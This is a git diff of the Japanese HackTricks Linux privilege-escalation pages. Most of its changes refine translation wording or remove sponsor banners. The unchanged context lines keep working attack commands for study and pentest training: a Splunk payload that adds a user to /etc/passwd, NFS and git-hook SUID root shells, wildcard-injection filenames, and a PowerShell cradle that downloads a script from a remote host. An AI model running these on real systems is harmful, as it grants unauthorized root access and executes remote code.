はプロセスが他のプロセスの能力セットを変更することを可能にしますが、自分が持っていない能力を付与することはできません。さらに、セキュリティ上の懸念から、その機能は最近のカーネルバージョンで制限され、自分の許可された能力セットまたはその子孫の許可された能力セット内の能力を減少させることのみが許可されています。 ## 参考文献 -**これらの例のほとんどは** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) **のいくつかのラボから取られたので、これらの特権昇格技術を練習したい場合は、これらのラボをお勧めします。** +**これらの例のほとんどは** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com) **のいくつかのラボから取られたもので、これらの特権昇格技術を練習したい場合は、これらのラボをお勧めします。** **その他の参考文献**: diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index 5219639cc..ac8435a94 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -18,7 +18,7 @@ path.config: "/etc/logstash/conf.d/*.conf" path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6 ``` -このファイルは、パイプライン構成を含む **.conf** ファイルがどこにあるかを明らかにします。 **Elasticsearch output module** を使用する際、**pipelines** には **Elasticsearch credentials** が含まれることが一般的で、これは Logstash が Elasticsearch にデータを書き込む必要があるため、広範な権限を持つことがよくあります。構成パスのワイルドカードにより、Logstash は指定されたディレクトリ内のすべての一致するパイプラインを実行できます。 +このファイルは、パイプライン構成を含む **.conf** ファイルの場所を明らかにします。 **Elasticsearch output module** を使用する際、**pipelines** に **Elasticsearch credentials** が含まれることが一般的で、これは Logstash が Elasticsearch にデータを書き込む必要があるため、広範な権限を持つことがよくあります。構成パスのワイルドカードにより、Logstash は指定されたディレクトリ内のすべての一致するパイプラインを実行できます。 ### 書き込み可能なパイプラインによる特権昇格 @@ -50,7 +50,7 @@ codec => rubydebug ``` ここで、**interval**は実行頻度を秒単位で決定します。与えられた例では、**whoami**コマンドが120秒ごとに実行され、その出力は**/tmp/output.log**に送られます。 -**/etc/logstash/logstash.yml**に**config.reload.automatic: true**が設定されている場合、Logstashは再起動することなく新しいまたは変更されたパイプライン構成を自動的に検出して適用します。ワイルドカードがない場合でも、既存の構成に対して変更を加えることは可能ですが、混乱を避けるために注意が必要です。 +**/etc/logstash/logstash.yml**に**config.reload.automatic: true**が設定されている場合、Logstashは再起動することなく新しいまたは変更されたパイプライン設定を自動的に検出して適用します。ワイルドカードがない場合でも、既存の設定に対して変更を加えることは可能ですが、混乱を避けるために注意が必要です。 ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index b8ff7ca59..b9525f5d0 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -_ **/etc/exports** _ ファイルを読み、**no_root_squash** として設定されているディレクトリが見つかった場合、クライアントとしてそのディレクトリに**アクセス**し、ローカルの**root**のようにそのディレクトリの中に**書き込む**ことができます。 +_ **/etc/exports** _ ファイルを読み、**no_root_squash**として設定されているディレクトリを見つけた場合、クライアントとしてそのディレクトリに**アクセス**し、ローカルの**root**のようにそのディレクトリの中に**書き込む**ことができます。 **no_root_squash**: このオプションは基本的に、クライアントのrootユーザーにNFSサーバー上のファイルにrootとしてアクセスする権限を与えます。これにより、深刻なセキュリティ上の問題が生じる可能性があります。 -**no_all_squash:** これは**no_root_squash**オプションに似ていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持ち、/etc/exportsファイルを確認し、no_all_squashオプションが存在し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成(nfsを使用してマウント)します。その後、nobodyユーザーとしてsuidを実行し、異なるユーザーになります。 +**no_all_squash:** これは**no_root_squash**オプションに似ていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持ち、/etc/exportsファイルを確認し、no_all_squashオプションが存在し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成(nfsを使用してマウント)します。nobodyユーザーとしてそのsuidを実行し、異なるユーザーになります。 # Privilege Escalation @@ -25,7 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -- **クライアントマシンでそのディレクトリをマウントし、** マウントされたフォルダ内に **rootとして** SUID権限を悪用するコンパイル済みペイロードをコピーし、それに **SUID** 権限を与え、**被害者** マシンからそのバイナリを **実行します** (ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。 +- **クライアントマシンでそのディレクトリをマウントし、** マウントされたフォルダ内に **rootとして** SUID権限を悪用するコンパイル済みペイロードをコピーし、それに **SUID** 権限を与え、**被害者** マシンからそのバイナリを **実行** します(ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。 ```bash #Attacker, as root user gcc payload.c -o payload @@ -44,12 +44,12 @@ cd > [!NOTE] > あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、必要なポートをトンネリングしてこの特権昇格を悪用するためにリモートバージョンを使用することができます**。\ > 次のトリックは、ファイル`/etc/exports`が**IPを示している場合**です。この場合、**リモートエクスプロイトを使用することはできず**、**このトリックを悪用する必要があります**。\ -> エクスプロイトが機能するためのもう一つの要件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用している必要があることです**。\ +> エクスプロイトが機能するためのもう一つの必要条件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用していること**です。\ > --_`/etc/export`がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_-- ## 基本情報 -このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントがuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。 +このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントが自分のuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。 ### ライブラリのコンパイル @@ -62,7 +62,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib ``` ### 攻撃の実行 -攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム(`pwn.c`)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(`a.out`)はsuid rootで共有に配置され、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用します。 +攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム(`pwn.c`)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(`a.out`)は、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用して、suid rootで共有に配置されます。 1. **攻撃コードをコンパイルする:** @@ -89,7 +89,7 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ ## ボーナス: NFShellによるステルスファイルアクセス -ルートアクセスが取得されたら、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします: +ルートアクセスが取得されたら、所有権を変更せずにNFS共有と対話するために(痕跡を残さないために)、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index e43490448..af1d09de6 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -50,7 +50,7 @@ return 0; - _/etc/passwd_ にパスワード付きのユーザーを追加 - _/etc/shadow_ 内のパスワードを変更 -- _/etc/sudoers_ にユーザーをsudoersに追加 +- _/etc/sudoers_ にユーザーを追加 - 通常 _/run/docker.sock_ または _/var/run/docker.sock_ にあるdockerソケットを通じてdockerを悪用 ### ライブラリの上書き diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index 94dee875b..21c8dc243 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -12,7 +12,7 @@ ## PE -ホストに`runc`がインストールされている場合、**ホストのルート/フォルダーをマウントしたコンテナを実行できる可能性があります**。 +ホストに`runc`がインストールされている場合、**ホストのルート/フォルダをマウントしたコンテナを実行できる可能性があります**。 ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 8a035f8fc..81c5da87a 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -6,7 +6,7 @@ [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) は **ラベリング** **システム** です。すべての **プロセス** とすべての **ファイル** システムオブジェクトには **ラベル** があります。SELinuxポリシーは、**プロセスラベルがシステム上の他のすべてのラベルに対して何をすることが許可されているか** に関するルールを定義します。 -コンテナエンジンは、通常 `container_t` の単一の制限されたSELinuxラベルを持つ **コンテナプロセス** を起動し、その後コンテナ内のコンテナを `container_file_t` とラベル付けします。SELinuxポリシールールは基本的に、**`container_t` プロセスは `container_file_t` とラベル付けされたファイルをのみ読み書き/実行できる** と述べています。コンテナプロセスがコンテナから脱出し、ホスト上のコンテンツに書き込もうとすると、Linuxカーネルはアクセスを拒否し、コンテナプロセスが `container_file_t` とラベル付けされたコンテンツにのみ書き込むことを許可します。 +コンテナエンジンは、通常 `container_t` の単一の制限されたSELinuxラベルを持つ **コンテナプロセス** を起動し、その後コンテナ内のコンテナを `container_file_t` とラベル付けします。SELinuxポリシールールは基本的に、**`container_t` プロセスは `container_file_t` とラベル付けされたファイルのみを読み書き/実行できる** と述べています。コンテナプロセスがコンテナから脱出し、ホスト上のコンテンツに書き込もうとすると、Linuxカーネルはアクセスを拒否し、コンテナプロセスが `container_file_t` とラベル付けされたコンテンツにのみ書き込むことを許可します。 ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -14,8 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` -# SELinuxユーザー +# SELinux ユーザー -通常のLinuxユーザーに加えて、SELinuxユーザーも存在します。SELinuxユーザーはSELinuxポリシーの一部です。各Linuxユーザーはポリシーの一部としてSELinuxユーザーにマッピングされます。これにより、LinuxユーザーはSELinuxユーザーに課せられた制限やセキュリティルール、メカニズムを継承することができます。 +通常の Linux ユーザーに加えて、SELinux ユーザーも存在します。SELinux ユーザーは SELinux ポリシーの一部です。各 Linux ユーザーはポリシーの一部として SELinux ユーザーにマッピングされます。これにより、Linux ユーザーは SELinux ユーザーに課せられた制限やセキュリティルール、メカニズムを継承することができます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 65731d0dd..d43903642 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ## Pythonによるソケットバインディングの例 -次の例では、**unixソケットが作成されます**(`/tmp/socket_test.s`)そして受信したすべてのものが`os.system`によって**実行されます**。これは実際には見つからないことを知っていますが、この例の目的は、unixソケットを使用したコードがどのように見えるか、そして最悪のケースでの入力の管理方法を示すことです。 +次の例では、**unixソケットが作成され** (`/tmp/socket_test.s`) 、受信したすべてのものが`os.system`によって**実行されます**。これは実際には見つからないと思いますが、この例の目的は、unixソケットを使用したコードがどのように見えるか、そして最悪のケースでの入力の管理方法を示すことです。 ```python:s.py import socket import os, os.path diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index e6f2f629c..7e38b7380 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,19 +1,19 @@ -# Splunk LPEと持続性 +# Splunk LPEと永続性 {{#include ../../banners/hacktricks-training.md}} 内部または外部でマシンを**列挙**しているときに**Splunkが実行中**(ポート8090)であることがわかり、運が良ければ**有効な資格情報**を知っている場合、**Splunkサービスを悪用**してSplunkを実行しているユーザーとして**シェルを実行**できます。もしrootが実行している場合、特権をrootに昇格させることができます。 -また、**すでにrootであり、Splunkサービスがlocalhostのみでリッスンしていない場合**、Splunkサービスから**パスワード**ファイルを**盗み**、パスワードを**クラッキング**するか、新しい資格情報を追加できます。そして、ホスト上で持続性を維持します。 +また、**すでにrootであり、Splunkサービスがlocalhostのみでリッスンしていない場合**、Splunkサービスから**パスワード**ファイルを**盗み**、パスワードを**クラッキング**するか、新しい資格情報を追加できます。そしてホスト上で永続性を維持します。 -下の最初の画像では、Splunkdのウェブページがどのように見えるかを示しています。 +下の最初の画像では、Splunkdのウェブページがどのように見えるかを確認できます。 -## Splunk Universal Forwarder Agentの脆弱性概要 +## Splunk Universal Forwarderエージェントの脆弱性概要 -詳細については、投稿を確認してください [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。これは概要です: +詳細については、投稿を確認してください [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。これは単なる概要です: **脆弱性の概要:** -Splunk Universal Forwarder Agent(UF)を対象とした脆弱性は、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。 +Splunk Universal Forwarderエージェント(UF)をターゲットにした脆弱性は、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。 **重要なポイント:** @@ -24,7 +24,7 @@ Splunk Universal Forwarder Agent(UF)を対象とした脆弱性は、エー **脆弱性の実行:** 1. 攻撃者がUFエージェントのパスワードを取得します。 -2. Splunk APIを利用して、エージェントにコマンドやスクリプトを送信します。 +2. Splunk APIを利用してエージェントにコマンドやスクリプトを送信します。 3. 可能なアクションには、ファイル抽出、ユーザーアカウントの操作、システムの侵害が含まれます。 **影響:** @@ -33,7 +33,7 @@ Splunk Universal Forwarder Agent(UF)を対象とした脆弱性は、エー - 検出を回避するためのログの無効化の可能性。 - バックドアやランサムウェアのインストール。 -**悪用のためのコマンドの例:** +**悪用のための例コマンド:** ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 9c3572c89..1d3f9898c 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -14,13 +14,13 @@ SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` ## なぜこれが機能するのか? -`SSH_AUTH_SOCK` 変数を設定すると、ボブの ssh 接続で使用されたキーにアクセスしています。次に、彼の秘密鍵がまだそこにある場合(通常はそうなります)、それを使用して任意のホストにアクセスできるようになります。 +`SSH_AUTH_SOCK` 変数を設定すると、Bobのssh接続で使用された鍵にアクセスしています。次に、彼の秘密鍵がまだそこにある場合(通常はそうなります)、それを使用して任意のホストにアクセスできます。 -秘密鍵はエージェントのメモリに暗号化されずに保存されているため、ボブであっても秘密鍵のパスワードを知らない場合、エージェントにアクセスして使用することができると思います。 +秘密鍵はエージェントのメモリに暗号化されずに保存されているため、Bobであっても秘密鍵のパスワードを知らない場合、エージェントにアクセスして使用することができると思います。 -もう一つのオプションは、エージェントの所有者であるユーザーと root がエージェントのメモリにアクセスし、秘密鍵を抽出できる可能性があることです。 +もう一つのオプションは、エージェントの所有者であるユーザーとrootがエージェントのメモリにアクセスし、秘密鍵を抽出できる可能性があることです。 -# 詳細な説明と悪用 +# 長い説明と悪用 **[元の研究はこちらをチェック](https://www.clockwork.com/insights/ssh-agent-hijacking/)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index 91c2514bc..e3caae000 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -6,8 +6,8 @@ ```bash touch "--reference=/my/own/path/filename" ``` -この攻撃を利用することができます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(組み合わせ攻撃)_\ -詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。 +この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(結合攻撃)_\ +詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) にあります。 ## Tar @@ -32,12 +32,12 @@ Interesting rsync option from manual: ```bash touch "-e sh shell.sh" ``` -この攻撃は [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_ を使用して悪用できます。\ -詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。 +この攻撃は、[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_を使用して悪用できます。\ +詳細は[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)を参照してください。 ## 7z -**7z** では、`--` を `*` の前に使用しても(`--` は次の入力がパラメータとして扱われないことを意味しますので、この場合はファイルパスのみです)、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドが root によって実行されている場合: +**7z**では、`--`を`*`の前に使用しても(`--`は次の入力がパラメータとして扱われないことを意味しますので、この場合はファイルパスのみです)、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドがrootによって実行されている場合: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` @@ -47,7 +47,7 @@ cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` -その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います(それが `@root.txt` の存在が示すことです)そして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込みます **そしてこのファイルの内容がファイルのリストでないため、エラーをスローします** 内容を表示します。 +その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います(それが `@root.txt` の存在が示すことです)そして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込み、**このファイルの内容がファイルのリストでないため、エラーをスローします** 内容を表示します。 _詳細は HackTheBox の CTF ボックスの Write-ups にあります。_ diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 3f8bcdd66..39a8b9423 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -26,7 +26,7 @@ system("/bin/bash"); [**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) は、コミットが作成されるときやマージなど、git リポジトリ内のさまざまな **イベント** で **実行される** **スクリプト** です。したがって、**特権スクリプトまたはユーザー** がこれらのアクションを頻繁に実行し、`.git` フォルダーに **書き込む** ことが可能であれば、これを **privesc** に利用できます。 -たとえば、git リポジトリ内の **`.git/hooks`** に **スクリプトを生成** することが可能であり、新しいコミットが作成されるたびに常に実行されます: +たとえば、git リポジトリの **`.git/hooks`** に **スクリプト** を **生成** することが可能であり、新しいコミットが作成されるたびに常に実行されます: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit diff --git a/src/linux-hardening/useful-linux-commands.md b/src/linux-hardening/useful-linux-commands.md index 2ee9f1b39..1cdce8476 100644 --- a/src/linux-hardening/useful-linux-commands.md +++ b/src/linux-hardening/useful-linux-commands.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# 有用なLinuxコマンド {{#include ../banners/hacktricks-training.md}} -## Common Bash - +## 一般的なBash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Windows用Bash ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - -## Greps - +## グレップ ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## 見つける ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Nmap 検索ヘルプ ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - -## Bash - +## バッシュ ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md index cfe3d80a1..76c6d1f20 100644 --- a/src/linux-hardening/useful-linux-commands/README.md +++ b/src/linux-hardening/useful-linux-commands/README.md @@ -142,7 +142,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` -## Greps +## グレップ ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 781bd104d..126b02f27 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -130,7 +130,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)` # Decimal IPs 127.0.0.1 == 2130706433 ``` -### 時間ベースのデータ抽出 +### 時間ベースのデータ流出 ```bash time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi ``` @@ -145,8 +145,8 @@ echo ${PATH:0:1} #/ ### ビルトイン -外部関数を実行できず、**RCEを取得するための限られたビルトインのセットにのみアクセスできる**場合、これを行うための便利なトリックがあります。通常、**すべての**ビルトインを使用することはできないため、**すべてのオプションを知っておく**必要があります。アイデアは[**devploit**](https://twitter.com/devploit)から。\ -まず、すべての[**シェルビルトイン**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**を確認してください。** 次に、いくつかの**推奨事項**があります: +外部関数を実行できず、**RCEを取得するための限られたビルトインのセットにのみアクセスできる**場合、これを行うための便利なトリックがあります。通常、**すべての**ビルトインを使用することは**できない**ので、監獄を回避するために**すべての選択肢を知っておくべき**です。アイデアは[**devploit**](https://twitter.com/devploit)から。\ +まず、すべての[**シェルビルトイン**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**を確認してください。** それから、いくつかの**推奨事項**があります: ```bash # Get list of builtins declare builtins @@ -303,7 +303,7 @@ ln /f* ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot & その他の監獄バイパス +## Chroot & その他のジェイル バイパス {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 010054dfe..7472c69d9 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,9 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} - # Sudo/Admin グループ -## **PE - 方法 1** +## **PE - メソッド 1** **時々**、**デフォルトで(またはいくつかのソフトウェアが必要とするために)** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます: ```bash @@ -15,13 +14,13 @@ ``` これは、**sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。 -この場合、**rootになるには、単に次を実行すればよい**: +この場合、**rootになるには次のように実行するだけです**: ```text sudo su ``` ## PE - Method 2 -すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるか確認します: +すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるかどうかを確認します: ```bash find / -perm -4000 2>/dev/null ``` @@ -29,13 +28,13 @@ find / -perm -4000 2>/dev/null ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxでは**sudoやadmin**のグループが**表示される**可能性があるかを見つけることができます。 +そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxに**sudoやadmin**のグループが**表示される**かを見つけることができます。 **rootになるには、次のコマンドを実行できます**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -**pkexec**を実行しようとすると、次の**エラー**が表示されます: +**pkexec**を実行しようとしたときにこの**エラー**が表示される場合: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === @@ -70,13 +69,13 @@ sudo su ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -だから、ファイルを読み、いくつかの**ハッシュをクラッキング**してみてください。 +そうですね、ファイルを読んでいくつかの**ハッシュをクラッキング**してみてください。 # ディスクグループ この特権はほぼ**ルートアクセスと同等**であり、マシン内のすべてのデータにアクセスできます。 -ファイル:`/dev/sd[a-z][1-9]` +ファイル: `/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s 